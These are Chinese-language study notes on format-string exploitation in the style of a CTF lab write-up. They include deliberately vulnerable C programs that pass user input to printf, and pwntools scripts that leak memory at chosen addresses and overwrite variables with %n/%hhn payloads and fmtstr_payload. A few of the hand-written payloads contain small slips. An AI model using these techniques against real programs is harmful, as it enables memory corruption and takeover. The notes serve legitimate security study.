从ctfwiki上学习了一波,来总结一下(推荐看ctfwiki,很详细,但是看完适合自己总结,第二遍看的时候就有些冗余了)
初学格式化字符串建议看wiki,本文是总结篇
泄露内存
泄露栈内存
关于栈内存的泄露比较简单,不多说了
获取栈变量的数值
获取栈变量的字符串
泄露任意地址内存
看实例程序
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s); //这个地方显然有格式化字符串漏洞
return 0;
}
编译一下
gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
泄露指定地址的方法:
addr%k$s
确定字符串为几个参数的方法:
AAAA%p%p%p%p%p%p%p%p%p%p%p%p
我们设置一个可访问的地址,用scanf@got来举例子拿到scanf的地址(一般不泄露printf函数的地址,自己实操一下即可)
第一步,拿到scanf@got的地址(可有可无)
第二步,判断是格式化字符串的第几个参数
通过%p的那种形式可以判断出来是格式化字符串的第四个参数
第三步,写payload
from pwn import *
filename = './format_string_1_leakmemory'
sh = process(filename)
elf = ELF(filename)
scanf_got = elf.got['__libc_start_main']
payload = p32(scanf_got) + '%4$s'
sh.sendline(payload)
sh.recvuntil('%4$s')
print hex(u32(sh.recv()[4:8]))
然后就拿到了scanf的地址
覆盖内存
覆盖栈内存
实例程序:
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
同样存在格式化字符串的漏洞,我们在这一小节来覆盖c的值,让他等于16
还是两步走:
第一步:确定c的地址(在程序中的第六行已经打印出来c的地址)
第二步:确定格式化字符串的参数(不再赘述,还是gdb中下断点或者直接运行程序数0x的个数,aaaa%p大法)
确定了这两步就能把payload写出来了
payload:p32([c_addr]) + (16-4) * 'A' + '%k$n'
覆盖任意地址内存
覆盖小值
我们覆盖变量a
还是两步走:
第一步:确定a的地址,直接ida
第二部:确定格式化字符串的参数
注意,由于是小值(我们想要a的值是2),我们就不能把a的地址放到首位了,因为放到首位明显就占四字节,不可能让它再等于2了,所以我们往后移,同样的,格式化字符串参数也得后移
payload:2 * 'a' + '%K$n' + 2 * 'a'(为了占够4字节) + p32([a_addr])
覆盖大值
我们覆盖变量b
还是两步走:
第一步:确定b的地址,直接ida
第二步:确定格式化参数
注意,我们的b是要变成0x12345678,输入那么多东西显然不太好,我们就采用一个字节一个字节的覆盖,就是b的地址覆盖0x78,然后b+1的地址处覆盖0x56,这种意思,有点儿像定位攻击一样
payload:p32([b_addr]) + p32([b_addr+1]) + ... + p32([b_addr+4]) + 104 * 'a' + '%6hhn' + 222 \* 'a' + '%7hhn' + 222 * 'a' + '%8hhn' + 222 \* 'a' + '%9hhn'
(104 + 16(16是前面的四个地址加起来16字节) = 0x78,0x78 + 222 = 0x156,自动舍弃前面的1,即0x56,后面的计算方法同上,不再赘述)
pwntools中的宝藏函数
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str[source]
Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits
The overflows argument is a format-string-length to output-amount tradeoff: Larger values for overflows produce shorter format strings that generate more output at runtime.
Parameters:
offset (int) – the first formatter’s offset you control
writes (dict) – dict with addr, value {addr: value, addr2: value2}
numbwritten (int) – number of byte already written by the printf function
write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
overflows (int) – how many extra overflows (at size sz) to tolerate to reduce the length of the format string
strategy (str) – either ‘fast’ or ‘small’ (‘small’ is default, ‘fast’ can be used if there are many writes)
Returns: The payload in order to do needed writes
所以之前的覆盖abc的payload就不用我们再算来算去了
直接调用这个超级无敌牛掰的函数
覆盖c:payload = fmtstr_payload(6,{c_addr:0x10},write_size='int')
覆盖a:payload = fmtstr_payload(6,{a_addr:2},write_size='short')
覆盖b:payload = fmtstr_payload(6,{0x0804A028:0x12345678},write_size='byte')
其实对于第三个参数write_size,万能方法是让它等于'byte',因为按字节来写入是最准确的,默认值也是byte,所以我们也可省略第三个参数
另外附上覆盖内存的exp(我用封装函数的形式来写)
from pwn import *
filename = './overflow'
sh = process(filename)
def stack():
c_addr = sh.recvuntil('\n',drop = True)
c_addr = int(c_addr,16)
#payload = p32(c_addr) + 12 * 'a' + '%6$n'
payload = fmtstr_payload(6,{c_addr:0x10},write_size='int')
sh.sendline(payload)
print sh.recv()
def small():
a_addr = 0x0804A024
#payload = 'aa' + '%8$n' + 'aa' + p32(a_addr)
payload = fmtstr_payload(6,{a_addr:2},write_size='short')
sh.sendline(payload)
print sh.recv()
def big():
b_addr = 0x0804A028
#payload = p32(b_addr) + p32(b_addr + 1) + p32(b_addr + 2) + p32(b_addr + 3)
#payload = payload + 104 * 'a' + '%6$hhn' + 222 * 'a' + '%7$hhn' + 222 * 'a' + '%8$hhn' + 222 * 'a' + '%9$hhn'
payload = fmtstr_payload(6,{0x0804A028:0x12345678},write_size='byte')
sh.sendline(payload)
print sh.recv()
big()